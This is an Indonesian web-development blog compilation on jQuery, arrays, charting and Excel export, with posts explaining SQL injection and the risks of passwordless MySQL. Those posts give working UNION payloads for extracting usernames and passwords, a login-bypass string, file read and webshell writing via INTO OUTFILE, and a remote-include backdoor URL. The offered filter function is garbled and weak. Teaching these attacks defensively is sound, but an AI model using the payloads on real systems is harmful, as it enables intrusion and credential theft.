[Contoh] PHP, MySQL, JQuery Form Posting, Tanpa Autorefresh Halaman / Pindah Halaman

Dalam ilmu web pada umumnya, dengan PHP-MySQL pada khususnya, sebuah proses Post Form, akan selalu mengarah ke suatu halaman yang ditandai dengan method dan action sebagai properti Formnya. Contoh:

/*isi form . . . */

Ketika tombol submit ditekan, maka halaman tujuan (action) akan dijalankan. Jika halaman adalah halaman itu sendiri, maka akan ter-refresh (terambil ulang dengan sudah membawa perubahan post) dan jika halaman lain sebagai action, akan masuk ke halaman tujuan itu. Hal ini akan menjadi tidak nyaman bagi sebuah web yang memiliki desain gambar cukup besar, sedangkan diperkirakan client akan membuka dengan bandwidth yang minim.
Ada beberapa cara untuk mensiasati hal ini, adalah dengan memanfaatkan framework Javascript berupa Ajax ataupun JQuery. Dalam posting ini akan dicoba menggunakan JQuery sebagai pembantu posting, agar ketika proses Posting, tidak lagi perlu terbuka ulang seluruhnya, hanya bagian tertentu saja.
Langkah pertama yang harus dilakukan adalah lebih dulu halaman harus memuat JQuery library, dengan cara mengambil baik dari host sendiri atapun menggunakan global host, seperti google host misalnya.
Selanjutnya kita tinggal memanfaatkan tiga hal, dalam satu script:

  • Mengambil value dari ID input form, misal :

    var judul = $("#id_yang_diambil_sebagai_judul").val();
    var isi = $("#id_yang_diambil_sebagai_isi").val();
    
  • Memanfaatkan fungsi POST dari JQuery dengan melakukannya ditujukan ke suatu file tujuan, dengan value parameter yang telah diambil seperti pada point diatas, contoh:

    
       $.post("submit.php", { judul: judul, isi: isi});
    

    Pada proses ini, dimaksudkan agar jquery melakukan proses post pada submit.php, dengan isi value POST[‘judul’] dengan variabel judul, dan POST[‘isi’] dengan variabel isi

  • Melakukan penambahan reset form
       $("form#postForm")[0].reset();
    

atau contoh dengan googlehost


Langkah kedua adalah membuat form post seperti biasa, namun dengan seluruh komponen input diberikan id agar dapat diterima browser sebagai variabel yang berbeda, dan diberikan arah action yang berbeda dengan halaman pemuat form. Berikan juga fungsi javascript untuk Button pemicu submit form. Contoh:



Langkah berikutnya adalah menyisipkan script javascript yang ada di bawah ini diantara load JQuery dan Form. Script ini berupa fungsi yang dipanggil oleh button ketika diklik


Untuk menampung hasil kiriman POST, maka kita perlu membuat file submit.php yang isinya antara lain adalah file PHP biasa yang isinya adalah sebagai berikut:


Asumsi tambahan:
Dalam database terdapat sebuah tabel post, yang berisi empat field, dengan field: id, judul, isi, timestamp. Dengan `id` adalah autoincrement, dan timestamp not Null. Asumsi juga bahwa di buat sebuah file database.php yang berisi koneksi database.


File submit.php ini tidak akan muncul di browser, karena prosesnya telah ditahan oleh JQuery.

Selanjutnya tinggal membuat halaman untuk memuat tampilan dari isi tabel post dengan menggunakan jquery juga, yang akan dipost pada posting berikutnya 🙂

Mengurangi Resiko SQL Injection dengan Script Filter Parameter HTTP

Salah satu bug yang paling ditakuti di dunia pemrograman web adalah : SQL Injection Vulnerability. Dalam dunia hacking sering disebut dengan SQLiv. Bug ini termasuk paling banyak dijumpai publikasinya di situs-situs pempublish bug dan hacking. SQL Injection ini termasuk bug dengan jenis resiko tinggi. Injeksi SQL biasanya dilakukan dengan cara memasukkan perintah atau sintaks tambahan ke dalam FORM yang ada dalam web tersebut, baik FORM di address bar, maupun FORM yang ada pada content.

 

Dasar Teknis

1. Serangan GET Methode

Dalam membuat web, biasanya kita akan gunakan pemanggilan ID atau kode unik untuk mengundang suatu konten. Misal:

http://satuduatiga/index.php?mod=news&id=12

Kira-kira, proses SQL yang dibentuk adalah :

$id = $_GET['id'];

$query = "SELECT * FROM `news` WHERE `id`='$id'";

Apa yang terjadi apabila seseorang menambahkan perintah di belakangnya?

http://satuduatiga/index.php?mod=news&id=12 and 1=1

dan selanjutnya? Jika penambahan 1=1 dan 1=0 menghasilkan efek yang berbeda, dengan

1=1 posting/berita tetap muncul (tidak error)

1=0 berita tidak muncul (error)

Error message memang bisa saja ditutup dengan mengganti value PHP.INI dengan display_errors=’false’. Namun proses error tetap saja terjadi. Maka sebenarnya sintaks perintah di belakang parameter ID itu diproses oleh script. Berbahaya? Ya, sangat berbahaya. Biasanya penyusup akan menggunakan methoda UNION untuk melakukan serangan selanjutnya. Anggap dalam tabel berita bagian yang diambil adalah terdapat 4 kolom/field

SELECT `judul`,`isi`,`penulis`,`tanggal` FROM `news` WHERE `id`='$id'

 

Proses UNION adalah proses dua SELECT yang harus memiliki jumlah field terpanggil yang sama. Jika sampai proses UNION tidak sama jumlah fieldnya, maka akan terjadi error. Error adalah informasi berharga untuk seorang intruder. Misal si intruder mencoba melakukan pemanggilan sebagai berikut :

 

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1

maka halaman tersebut tidak akan muncul content. Maka dia bisa melanjutkan

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2

hingga

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,4

 

Pada saat itu, halaman selain menunjukkan posting content tersebut, juga akan menampilkan tulisan 1,2,3,4 sesuai dengan fieldnya. Saat itulah si intruder memanfaatkan seperti berikut:

Pencarian versi MySQL

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,@@version

 

Pencarian nama database yang aktif

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,database()

 

Pencarian nama user database aktif

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,user()

 

Pencarian nama database lain

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT DISTINCT TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA not in('INFORMATION_SCHEMA','mysql','test') LIMIT 1)

 

Pencarian nama tabel untuk database ‘web’ misal

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='web' AND TABLE_NAME not in('coba','test','anu') LIMIT 1)

Pencarian nama kolom / field untuk tabel ‘user’ dalam database ‘web’ misal

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ='web' AND TABLE_NAME ='user' AND COLUMN_NAME not in('test') LIMIT 1)

 

Pencarian data dalam kolom user atau password

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT username FROM user LIMIT 1)

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT password FROM user WHERE username='admin')

 

Setelah mendapatkan user dan password dari tabel user, maka dapat dieksekusi Login ke dalam form. Proses lain dapat juga dengan mencoba membaca file dalam sistem atau menulis file dalam sistem

 

SELECT load_file('/etc/passwd');

SELECT 'test' INTO OUTFILE('/var/www/hack.php');

atau bahkan

UPDATE news set judul='hacked';

 

Cerita mengenai hacking dengan sql injection akan dibahas dalam posting lain.

 

2. Serangan POST Method

Serangan ini biasanya dilakukan pada FORM login.

Serangan ini biasanya memanfaatkan logika pemrograman sebagai berikut :

$username = $_GET['username'];

$password = $_GET['password']

$query = "SELECT * FROM `user` WHERE `username`='$username' AND `password`='$password'";

 

Logika ini benar, memanfaatkan operator logika AND. Sehingga session baru terbuka jika PASANGAN username dan password itu terdapat dalam tabel user.

Apa yang terjadi apabila kita memasukkan pada kolom login tersebut adalah : admin’ OR”=’ ? Maka proses query yang terjadi menjadi seperti ini

SELECT * FROM `user` WHERE `username`=’admin’ OR ”=’‘ AND `password`=”;

Bagian tercetak kuning merupakan masukan yang berasal dari form. Sedangkan proses logika AND menjadi tercemar oleh OR, sehingga password salahpun akan dianggap benar. Padahal jika logika tersebut benar, sessi akan terbuka untuk si penyusup, tanpa perlu tahu passwordnya.

 

3. Blind SQL Injection

Blind SQL Injection adalah SQL Injection tanpa petunjuk error atau penampilan yang jelas. Tetap Blind SQLiv ini BERBAHAYA.

 

Gejala-gejala

Melihat gejala sebuah situs mengidap penyakit ini adalah dengan beberapa cara:

  1. Menambahkan tanda petik. Jika pada halaman muncul error maka ada kemungkinan potensi bahaya itu ada.
  2. Menambahkan logika 1=1 dan 1=0. Jika dengan 1=1 berita masih muncul tapi 1=0 tidak muncul maka potensi itu ada
  3. Mencoba form login dengan memasukkan admin’ or ”=’pada kolom user dan password. Apakah anda dapat masuk ke halaman admin
  4. Memanfaatkan pentester software, seperti SQLMap, Hexjector ataupun Havij dan lain sebagainya.

 

Penanggulangan

Beberapa cara pengurang resiko bug ini adalah:

  1. Melakukan filtering parameter yang perlu dimasukkan sebagai proses SQL
  2. Melakukan penutupan error dan pembatasan jumlah karakter parameter/post
  3. Menggunakan user database dan password yang bukan root, dan beda aplikasi web seharusnya berbeda pula user dan grant nya
  4. Menata permission struktur direktori secara benar sehingga web tetap bisa melakukan penulisan, juga mysql tidak dapat menulis ke dalam file.
  5. Penggunaaan mod_rewrite apache untuk me-rewrite URL sehingga selain SEO Friendly juga aman.
  6. Melakukan sanitasi file upload dengan benar. Jika hanya dibutuhkan file gambar, maka hanya bertipe gambar saja yang boleh masuk.
  7. Penggunaan program semacam antivirus seperti clamav dan lain sebagainya.
  8. Penutupan database information_schema.
  9. Untuk penggunaan CMS, rajin update juga menjadi faktor penting. Namun kadang pluggins merupakan faktor yang sering membawa bug.
  10. Memanfaatkan log error dan access secara benar. Pengecekan apakah terjadi injection dapat dimulai dari sini.

dan lain sebagainya.

 

Contoh Script Filter Parameter sederhana:

function filter_param($text,$html=true){
        $e_s=array('\\','\'','"');
		$d_s=array('','','');
		$text = preg_replace( "']*>.*?'si", '', $text );
        $text = preg_replace( '/]*>([^<]+)<\/a>/is', '\2 (\1)', $text );
        $text = preg_replace( '//', '', $text );
        $text = preg_replace( '/{.+?}/', '', $text );
        $text = preg_replace( '/ /', ' ', $text );
        $text = preg_replace( '/&/', '', $text );
		$text = str_replace( $e_s, $d_s, $text );
        $text = strip_tags( $text );
        $text = preg_replace("/\r\n\r\n\r\n+/", " ", $text);
        $text = $html ? htmlspecialchars( $text ) : $text;
        return $text;
}

$id = filter_param($_GET[‘id’]);
$username = filter_param($_POST[‘username’]);
$password = filter_param($_POST[‘password’]);
 

SQL Injection dapat terjadi pada semua jenis database. Oracle, SQLServer, Access dan lain-lain. Pada windows, SQL Server juga memiliki fungsi executable yang cukup berbahaya.

Tulisan ini sekedar sharing, tidak bermaksud menggurui, mengingat juga bahwa masih banyak bug yang terdapat pada produk yang dibuat oleh penulis. Semoga bermanfaat

[Tips] Operasional Array PHP

Array merupakan variabel penting dalam semua pemrograman termasuk PHP, dimana array memiliki kemampuan membawa dalam satu variable dapat memuat banyak value dan key yang serupa. Contoh Array adalah misal akan kita bentuk sebuah variabel data nama anak-anak kelas III dalam sebuah sekolah akan diletakkan dalam sebuah tabel:

nis nama
001 Banu
002 Budi
003 Bayu
004 Bono

 

Isi dari sebuah tabel itu dapat dimasukkan dalam sebuah variabel array , dimana tiap item array akan berisi KEY dan VALUE, dan antara item satu dengan yang lain akan dipisahkan dengan tanda koma, seperti demikian :

$arr = array("001"=>"Banu","002"=>"Budi","003"=>"Bayu","004"=>"Bono");

Cara lain membuat array adalah dengan :

$arr["001"] = "Banu";
$arr["002"] = "Budi";
$arr["003"] = "Bayu";
$arr["004"] = "Bono";

Adapun sebuah array dapat saja tidak memiliki KEY tapi memiliki Value. Misal:

$arr = array("Banu","Budi","Bayu","Bono");

MENAMPILKAN ARRAY dalam PHP
Menampilkan Array dalam PHP dapat dengan menggunakan fungsi perintah php print_r();

print_r($arr);

JENIS ARRAY
Array dapat meliputi tiga hal:

  • Array Numerik / Numeric Array: adalah operasional array dengan penyebutan key nya adalah urutan item array tersebut, dimulai dari angka ke 0 sebagai item array pertama. Contoh diatas dapat dikatakan bahwa
    $arr[0] = “Banu”
    $arr[1] = “Budi”
    dan seterusnya. Sehingga jika dilakukan echo dengan PHP:

    echo $arr[0];
    

    Hasilnya adalah “Banu”.

  • Array Asosiatif / Associative Array : adalah operasional array dengan penyebutan keynya adalah nama dari key tersebut. Contoh diatas dapat dikatakan bahwa

    $arr[“001”] = “Banu”
    $arr[“002”] = “Budi”
    dan seterusnya. Sehingga jika dilakukan echo dengan PHP:

    echo $arr["002"];
    

    hasilnya adalah “Budi”

  • Array Multidimensional / Multidimensional array : Adalah adanya array di dalam array. Misal :
    
    $makanan = array(
    "buah" => array("Jeruk","Jambu","Alpokat"),
    "sayuran" => array("Bayam","Kenci","Selada","Mikado"),
    "daging" => array("Kambing","Ayam","Sapi"),
    "nasi" => array("merah","hitam","putih", "jagung");
    );
    
    

PENGURAIAN VALUE ARRAY
Penguraian array dapat dilakukan dengan menggunakan looping untuk penyebutan seluruhnya, atau melakukan echo/print untuk penyebutan peritem. Contoh adalah :

$arr = array("001"=>"Banu","002"=>"Budi","003"=>"Bayu","004"=>"Bono");

foreach ( $arr as $item ){
echo $item . "
"; }

atau kadang kita langsung menyebut per item jika bukan looping yang kita perlukan :

echo $arr["002"];

atau

echo $arr[1];

PENGURAIAN KEY DAN VALUE ARRAY
Suatu ketika kita perlu mengurai Value Array beserta Keynya. Maka dapat digunakan looping seperti demikian :

$arr = array("001"=>"Banu","002"=>"Budi","003"=>"Bayu","004"=>"Bono");

foreach ( $arr as key => $value ){
echo $key . "=" . $value . "
"; }

PENGURAIAN ARRAY LANGSUNG MENJADI VARIABEL BARU
Sebuah array dapat dipecah langsung menjadi variabel-variabel baru misal :

$arr = array("nama"=>"bimosaurus","alamat"=>"wonosobo","usia"=>"200 tahun");

Dapat langsung digunakan :

$arr = array("nama"=>"bimosaurus","alamat"=>"wonosobo","usia"=>"200 tahun");
export( $arr );

Maka akan muncul variabel baru :
$nama = “bimosaurus”;
$alamat = “wonosobo”;
$usia = “200 tahun”;

PEMBENTUKAN ARRAY DENGAN EXPLODE
Sebuah array dapat juga terbentuk dari kata atau kalimat yang dipecah dengan menggunakan explode. Sebagai contoh adalah :

$kalimat = "sebenarnya saya sudah lama ingin sekali menulis";
$arr = explode(" ", $kalimat); // dipecah berdsar tanda " " / spasi

Hasilnya jika dibongkar dengan array numerik adalah :

echo $arr[0];

Hasilnya adalah “sebenarnya”. Coba juga dilakukan perintah fungsi print_r();
Kebalikan dari explode adalah implode

PENGURAIAN ARRAY dari MySQL
Andaikan tabel di atas, akan disebut dengan tabel siswa. Maka sebuah Query dari MySQL akan seperti berikut:

$sql = "SELECT * FROM `siswa`";
$query = mysql_query( $sql );

Setelah dilakukan query, maka SQL akan menghasilkan array. Array tersebut akan kita urai dengan beberapa cara. Fungsi yang digunakan juga bisa mysql_fetch_row, mysql_fetch_array, atau mysql_fetch_assoc. Sedangkan perintah looping yang digunakan akan sangat lebih mudah menggunakan while.

while( $r = mysql_fetch_array( $q ) ){
echo $r['nis'] . " = " . $r['nama'] . "
"; } }

Apa perbedaan mysql_fetch_row, mysql_fetch_array, dan mysql_fetch_assoc? Perbedaannya adalah mysql_fetch_row untuk penyebutan array numerik, mysql_fetch_assoc adalah untuk penyebutan array assosiatif, dan mysql_fetch_array bisa untuk keduanya.

Sekian, semoga bermanfaat

[Contoh] Cara Mudah Membuat Notasi Data untuk Grafik JQuery JQPlot dengan PHP

Salah satu kelemahan JQPlot dibanding HighChart adalah pembuatan notasi data grafik untuk diplot ke dalam halaman web. Seperti beberapa artikel lalu , HighChart memiliki kemudahan penulisan notasi, karena berjajar notasi sejenis, sesuai dengan arraynya. Berbeda dengan JQPlot. Penulisan notasi JQPlot berupa notasi bersama antara array x dan array y. Contoh: Misal kita memiliki dua array yang akan dijadikan grafik.

 

$r1 = array('1','3','5','7','9','11');

$r2 = array('1','2','1','2','1','2');

 

Pembuatan grafik dengan Highchart akan menggunakan cara seperti ini :

 

.
.
.
xAxis : {

categories : ['1','3','5','7','9','11']

},
.
.
.

series : ['1','2','1','2','1','2'];
.
.
.

 

 

Sedangkan JQPlot memiliki notasi seperti berikut :

$.jqplot('spacegrafik',  [[[1,1],[3,2],[5,1],[7,2],[9,1],[11,2]]]);

Padahal biasanya PHP akan menghasilkan data berasal dari array yang didapat dari MySQL, PostgreSQL, database lainnya, atau memang berupa data array. Untuk itu biasanya pembuatan grafik JQPlot jelas memakan satu langkah lebih banyak daripada penggunaan Highchart. Namun dengan beberapa kelebihan JQPlot, ditambah dengan kesukaan masing-masing developer, maka tidak salah mencoba menyiasati pembuatan notasi grafik ini. Pembuatan notasi Grafik JQPlot akan coba kita jelaskan pada code berikut ini :


 




 

Nah kira kira hasilnya adalah seperti demikian



Nah, selamat mencoba, semoga bermanfaat.

[Contoh] Cara Mengexport Data SQL ke File Excel 2007 ( xlsx ) dari MySQL dengan PHP

Berdasarkan komentar saudara Dahlan di https://blogit.bimosaurus.com/2012/04/09/contoh-3-membuat-laporan-export-data-dari-mysql-ke-excel-terencoding-dengan-php-no-pear, maka saya coba paparkan tentang melakukan export konversi data dari SQL ke Excel 2007 dengan menggunakan PHP. Sehingga data yang berasal dari SQL dapat di download ke dalam bentuk Excel 2007

STRUKTUR XLSX / Excel 2007

Jika kita periksa sebuah file excel 2007 adalah sebuah file berformat kompresi zip. Jika anda rename, mengganti extensi file xlsx dengan zip, dan anda extract ke suatu tempat, maka file tersebut akan berisi beberapa direktori dan file berformat xml. Ya, Microsoft Office 2007 memang merancang format Office menjadi format yang mudah dikembangkan terutama untuk mendukung DotNet dan networking.

Lantas, apakah kita akan gunakan koding PHP bertele-tele untuk membuat aplikasi untuk memodifikasi XML tersebut? Untuk hal itu, kita tidak perlu koding sendiri, hanya perlu belajar dan menggunakan sebuah fungsi dari http://www.phpexcel.net/ atau http://phpexcel.codeplex.com/. Silakan download paket aplikasi fungsi PHP-Excel tersebut, dan extract dalam direktori DocumentRoot yang anda gunakan. Kira-kira struktur data akan berformat seperti demikian :

1.7.6/changelog.txt

1.7.6/Classes/

1.7.6/Documentation/

1.7.6/install.txt

1.7.6/license.txt

1.7.6/Tests/

Kita hanya membutuhkan sesuatu di dalam directori Classes. Untuk kasus yang saya pakai, saya melakukan pengkopian direktori Classes ke aplikasi web yang saya butuhkan menjadi

{direktori_aplikasi}libs/phpexcel/

 

BAGAIMANA MENGEKSPOR DATA KE DALAM XLSX?

Berikut satu script aplikasi PHP untuk melakukan Export ke dalam XLSX

 


getProperties()->setCreator("Bimosaurus");
$excel->getProperties()->setLastModifiedBy("Bimosaurus");
$excel->getProperties()->setTitle("Coba");
$excel->removeSheetByIndex(0);


$sheet = $excel->createSheet();
$sheet->setTitle('sheet_1');
 $sheet->setCellValue("A1", "Kolom Satu");
 $sheet->setCellValue("B1", "Kolom Dua");
 $sheet->setCellValue("C1", "Kolom Tiga");
 $sheet->setCellValue("D1", "Kolom Empat");
 $sheet->setCellValue("E1", "Kolom Lima");
 $sheet->setCellValue("F1", "Kolom Enam");

 $sheet->setCellValue("A2", "Isi Satu");
 $sheet->setCellValue("B2", "Isi Dua");  
 $sheet->setCellValue("C2", "Isi Tiga");
 $sheet->setCellValue("D2", "Isi Empat"); 
 $sheet->setCellValue("E2", "Isi Lima"); 
 $sheet->setCellValue("F2", "Isi Enam");
 
 $writer = new PHPExcel_Writer_Excel2007($excel);
 $writer->save("excel.xlsx");
 
 
?>
Your File in : Here

Cobalah anda lakukan dalam percobaan anda. Nah, sekarang bagaimana apabila kita akan melakukan pengambilan data dari MySQL Server dengan PHP dan direstore ke dalam XLSX?

Berikut satu contoh programnya di bawah ini. Saya masih menggunakan table lama saya yaitu tabel pegawai dari database kepegawaian.

nip nama honor status_ambil
10001 Susanto Rp. 1000000 Belum
10002 Susanti Rp. 1000000 Sudah
10003 Marwoto Rp. 2000000 Sudah
10004 Gunadi Rp. 1500000 Belum
10005 Nur Eko Rp. 1000000 Belum

getProperties()->setCreator("Bimosaurus");
$excel->getProperties()->setLastModifiedBy("Bimosaurus");
$excel->getProperties()->setTitle("Data Pegawai PT Anu");
$excel->removeSheetByIndex(0);


$sheet = $excel->createSheet();
$sheet->setTitle('sheet_1');
 $sheet->setCellValue("A1", "NIP");
 $sheet->setCellValue("B1", "Nama");
 $sheet->setCellValue("C1", "Honor");
 $sheet->setCellValue("D1", "Status Ambil");


$sql = "SELECT * FROM `pegawai`";
$q = mysql_query( $sql );
$i = 2; //Dimulai dengan baris ke dua, baris pertama digunakan oleh titel kolom
while( $r = mysql_fetch_array( $q ) ){
   $sheet->setCellValue( "A" . $i, $r['nip'] );
   $sheet->setCellValue( "B" . $i, $r['nama'] );
   $sheet->setCellValue( "C" . $i, $r['honor'] );
   $sheet->setCellValue( "D" . $i, $r['status_ambil'] );
   $i++;
}


 $writer = new PHPExcel_Writer_Excel2007($excel);
 $writer->save("$datetime.xlsx");
 
 
?>
Your File in : Here

Nah bandingkan juga penulisan format export ke kolom excel, dengan artikel lalu https://blogit.bimosaurus.com/2012/04/09/contoh-3-membuat-laporan-export-data-dari-mysql-ke-excel-terencoding-dengan-php-no-pear. Pastikan juga bahwa direktori tujuan Export file tersebut, writeable untuk Webserver anda.

Selamat mencoba, silakan melakukan respon jika perlu direspon. Saya siapkan juga satu artikel untuk pembacaan file excel 2007 untuk diupload ke dalam webserver dan akan terkonversi menjadi SQL database. Segera.

[Contoh] Cara Membuat Grafik Multi Line / Banyak Garis dengan PHP, MySQL, dan JQuery HighChart

Berikut dalam posting ini akan dipaparkan contoh pembuatan grafik Multiline dengan Highchart. Saya juga menyiapkan dua artikel untuk keperluan Grafik dengan JQPLot dan JPGraph untuk kasus yang sama. Dalam contoh ini digunakan contoh dengan dua tabel, dimana satu tabel adalah tabel negara, dan tabel lainnya adalah tabel angka_kelahiran. Kira-kira SQL nya adalah seperti berikut:

Tabel negara

CREATE TABLE `negara` (
  `id` int(23) NOT NULL AUTO_INCREMENT,
  `negara` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

/*Data for the table `negara` */

insert  into `negara`(`id`,`negara`) values (1,'Indonesia'),(2,'Singapura'),(3,'Malaysia'),(4,'Jepang');

 

Tabel angka_kelahiran

CREATE TABLE `angka_kelahiran` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `negaraId` int(3) DEFAULT NULL,
  `bulan` varchar(10) DEFAULT NULL,
  `kelahiran` int(23) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=49 DEFAULT CHARSET=latin1;

/*Data for the table `angka_kelahiran` */

insert  into `angka_kelahiran`(`id`,`negaraId`,`bulan`,`kelahiran`) values (1,1,'Jan',100),(2,1,'Feb',120),(3,1,'Mar',130),(4,1,'Apr',110),(5,1,'Mei',90),(6,1,'Jun',100),(7,1,'Jul',95),(8,1,'Agt',115),(9,1,'Sep',98),(10,1,'Okt',120),(11,1,'Nov',110),(12,1,'Des',151),(13,2,'Jan',110),(14,2,'Feb',100),(15,2,'Mar',111),(16,2,'Apr',80),(17,2,'Mei',90),(18,2,'Jun',87),(19,2,'Jul',89),(20,2,'Agt',87),(21,2,'Sep',77),(22,2,'Okt',78),(23,2,'Nov',89),(24,2,'Des',90),(25,3,'Jan',67),(26,3,'Feb',65),(27,3,'Mar',68),(28,3,'Apr',98),(29,3,'Mei',76),(30,3,'Jun',89),(31,3,'Jul',66),(32,3,'Agt',54),(33,3,'Sep',43),(34,3,'Okt',78),(35,3,'Nov',98),(36,3,'Des',123),(37,4,'Jan',65),(38,4,'Feb',65),(39,4,'Mar',65),(40,4,'Apr',65),(41,4,'Mei',65),(42,4,'Jun',69),(43,4,'Jul',98),(44,4,'Agt',90),(45,4,'Sep',87),(46,4,'Okt',77),(47,4,'Nov',89),(48,4,'Des',100);

Kemudian secara visual, tabelnya adalah seperti ini :

Tabel Negara:

id negara
1 Indonesia
2 Singapura
3 Malaysia
4 Jepang

Tabel Angka Kelahiran (sebagian)

id negaraId bulan kelahiran
1 1 Jan 100
2 1 Feb 120
3 1 Mar 130
4 1 Apr 110

 

Jika server yang anda gunakan terhubung dengan koneksi internet, saya sarankan untuk mengambil include script jquery dan highcart secara online saja, hal ini akan menghemat space disk anda, terutama jika anda menggunakan hosting. Disamping itu akan lebih menghemat bandwidth quota. Namun jika server web yang anda offline, maka asumsi saya adalah menggunakan hardisk, sehingga tidak begitu memberatkan space dan quota, maka gunakan saja file jquery secara offline.

Untuk server online, maka gunakan script ini pada include script anda:


.
.
.


 

 

Untuk server offline, maka gunakan ini, atau sesuaikan dengan lokasi yang anda gunakan


.
.
.


 

Untuk kasus pembuatan grafik angka kelahiran, saya melakukan query untuk mendapatkan array kota terlebih dahulu. Script lengkap pembuatan grafiknya adalah sebagai berikut:





	
		
		Angka Kelahiran Tiap Negara

		
		
	

	



Nah kira-kira hasil dari perbuatan script anda adalah seperti berikut :

Nah, selamat mencoba, semoga berguna, dan sampaikan terimakasih pada developer Highcart yang telah membuat tools yang mempermudah bagi para developer ini. 🙂

Anda perlu bantuan membuat tabel, dapat berkonsultasi dengan team kami secara gratis. Selama dapat dibantu diselesaikan, akan dibantu..

[Hacking] Database kosong tak Berpassword, berbahayakah?

Saya mendapatkan pertanyaan demikian : “Bung, apakah jika saya menginstall xampp windows dan ada satu database kosong yang tidak digunakan yang usernya tidak saya beri password, apakah berbahaya? Saya ingin memberi password, namun karena sekedar testing, ngapain diberi password.Setelah pagi, saya lihat kok ada file aneh bahasanya kayak bahasa bahasa hacker gitu, apakah mungkin dari database kosong itu?

 

BEBERAPA PENJELASAN.

Dalam artikel lalu https://blogit.bimosaurus.com/2012/04/23/operasional-file-melalui-perintah-sql-sql-command-for-file-operation, telah ditunjukkan bagaimana sebuah perintah SQL dapat melakukan pembuatan file, begitu juga pembacaan file yang dimasukkan ke dalam database.

PhpMyAdmin adalah hanya salah satu tools pengolahan database berbasis web dalam MySQL Server. PhpMyAdmin adalah salah satu tools yang selalu ada dalam paket XAMPP. Untuk Windows, PhpMyAdmin ini akan mengikuti konfigurasi default, yaitu tanpa password untuk user root. Sementara user root adalah user dengan hak tertinggi pada pengolahan database MySQL.Khusus untuk root MySQL, root ini memiliki kemampuan mengolah database yang bernama database mysql yang mengatur segala struktur database dan konfigurasi database. Namun memang pengaturan database mysql ini, hanya bisa dilakukan oleh root dari localhost. Namun dengan adanya PhpMyAdmin, maka syarat ini menjadi hilang, karena administrator data/pengakses akan dapat melakukan pengaturan dari sisi web, sedangkan web/php akan melakukan olah data dari localhost. Untuk kemudahan itu, maka sebanding dengan resiko yang ada. Yaitu resiko keamanan.

Apakah jika database kosong dengan user bebas dan tanpa password bebas juga akan dapat berpotensi tidak aman? Jawabnya adalah : YA.

Berikut adalah contoh operasional database yang biasa dilakukan para hacker. Andaikan saya memiliki sebuah database kosong dengan nama : database_kosong, dan dapat diakses oleh user : bebas, tanpa password. Perhatikan langkah-langkah yang ada, dan cobalah anda konversikan penerapannya di PhpMyAdmin anda.

 

 


mysql> use kosong;
Database changed
mysql> show tables;
Empty set (0.00 sec)

mysql> CREATE TABLE `kosong` (`Id` int(23) NOT NULL AUTO_INCREMENT,`Content` text,PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=26 DEFAULT CHARSET=latin1;
Query OK, 0 rows affected (0.02 sec)

mysql> show tables;
+------------------+
| Tables_in_kosong |
+------------------+
| kosong           | 
+------------------+
1 row in set (0.01 sec)

mysql> select * from kosong;
Empty set (0.00 sec)

mysql> insert into `kosong` (`Content`) values ('');
Query OK, 1 row affected (0.00 sec)

mysql> select `Content` from `kosong` where Id='1' into outfile 'C:/xampp/htdocs/phpinfo2.php';

Bukalah browser anda dan ketikkan http://localhost/phpinfo2.php. Apa yang terjadi? Selanjutnya, bayangkanlah jika saya memiliki script PHP semacam ini:




Apa yang terjadi jika script semacam ini dimasukkan dalam field Content dan dieksekusi dengan “INTO OUTFILE” sebagai file dan suatu ketika dibuka oleh orang lain dengan : http://namaserver/url.php?url=http://alamatbackdoor/c99.txt?

Atau bisa juga justru script upload html yang dibuat seperti ini :



Dan si hacker melakukan upload backdoor, rootkit, atau script semacam c99.php, r57.php, DxShell? Terutama untuk Windows, default settingnya sangat rawan karena masih mengijinkan mysql untuk menuliskan dalam suatu direktori tanpa filter.